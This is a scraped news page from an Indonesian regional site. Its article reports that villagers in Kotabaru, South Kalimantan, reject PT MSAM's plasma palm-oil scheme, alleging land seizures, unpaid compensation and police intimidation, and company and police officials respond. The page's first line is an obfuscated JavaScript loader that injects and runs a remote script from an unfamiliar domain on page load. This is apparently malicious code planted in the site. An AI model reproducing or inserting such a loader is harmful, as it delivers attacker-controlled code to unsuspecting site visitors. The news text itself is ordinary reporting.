(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KOTABARU, Kepala Desa Mekarpura Abdullah Sani menegaskan bahwa warganya menolak perkebunan sawit sistem plasma yang dilaksanakan PT Multi Sarana Agro Mandiri (MSAM) PT Inhutani II. Penegasan itu dikemukakan saat sosialisasi yang digelar di Desa Salino, Kecamatan Pulau Laut Tengah, Kabupaten Kotabaru, Kalimantan Selatan, Selasa (6/3) kemarin.
Hadir dalam sosialisasi tersebut antara lain Camat Pulau Laut Tengah Hj Melinda Ratna Agustina, Kapolres Pulau Laut Tengah AKP H Pato S Tumpo, Pelda Rumadi (Kodim 1004/Ktb), Yulai Gultom (General Manager PT. MSAM), Zakaria (Kades Salino), serta sejumlah Ketua RT dan tokoh masyarakat dari Desa Salino dan Desa Mekarpura.
“Plasma tidak harus lahan milik masyarakat, soalnya saya sudah dituding sekongkol dengan perusahaan MSAM ini. Kami menolak plasma ini. Jadi plasma tidak usah diadakan,†kata Abdullah Sani.
Dikatakan Abdullah Sani, masyarakat Desa Mekarpura dan Desa Salino sudah berkebun turun-temurun sejak zaman Jepang. Namun, karena datangnya perkebunan PT MSAM maka banyak lahan warga yang digusur atau dirampas. “Kalau memang terus seperti ini, saya tidak berani jamin, masyarakat akan bertindak dan saya pun juga tidak jamin akan aman,†tegasnya.
Hal senada juga disampaikan Ketua RT 08 Desa Salino, Rahman. “Kami tidak paham dengan sosialisasi PT MSAM ini. Sejak kapan PT MSAM punya kebun di daerah kami. Kapan MSAM datang dan kenapa tiba-tiba punya kebun,†kata Rahman dengan nada tinggi.
Rahman juga mengecam kegiatan PT MSAM yang selalu menggunakan aparat kepolisian. Padahal, imbuh dia, kegiatan PT MSAM tidak pernah memberitahukan aparat desa atau ketua RT setempat. “Kami tidak akan tinggal diam, jika lahan kami digusur dan dirampas, maka kami akan mempertahankannya sampai titik darah penghabisan,†tegasnya.
Selain itu, Rahman juga mendesak agar PT MSAM menghentikan pengukuran dan menghapus hasil ukur yang telah dilakukan beberapa waktu terakhir dengan melibatkan aparat kepolisian. “Masyarakat kami terintimidasi karena menggunakan aparat kepolisian. Sebagian lahan warga sudah dibabat habis, digusur sejak Juli 2017 lalu, sedangkan ganti rugi lahan masyarakat kenyataannya dari bulan Juli tahun 2017 sampai sekarang sebagian besar belum terbayar,†tandasnya.
Sebelumnya, General Manager PT MSAM Yulai Gultom, mengatakan pihaknya tidak melakukan penggusuran yang bersifat tidak pamit. “Kami melakukan kesepakatan kepada pemilik lahan yang mana disebut negoisasi, memberikan ganti rugi tanam tumbuh dan tebas tebang, sampai dengan hari ini kami sudah delapan tahap pembebasan lahan ganti rugi tanam tumbuh yakni ada seluas 4372 hektare dan 429 pemilik lahan dengan pengeluaran Rp 41 miliar lebih,†ujarnya.
Di tempat yang sama, Kapolsek Pulau Laut Tengah Iptu H Pato S Tumpo membenarkan adanya anggota Polsek Pulau Laut Tengah yang turut dalam kegiatan PT MSAM.
“Adanya anggota Kami di lapangan, karena PT MSAM bersurat meminta pengawalan dan itu sudah tugas polisi apabila warga meminta, baik siapapun atau perusahan yang bersurat minta pengawalan akan kami berikan dan tidak pilah-pilah,†ucapnya. (bie)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.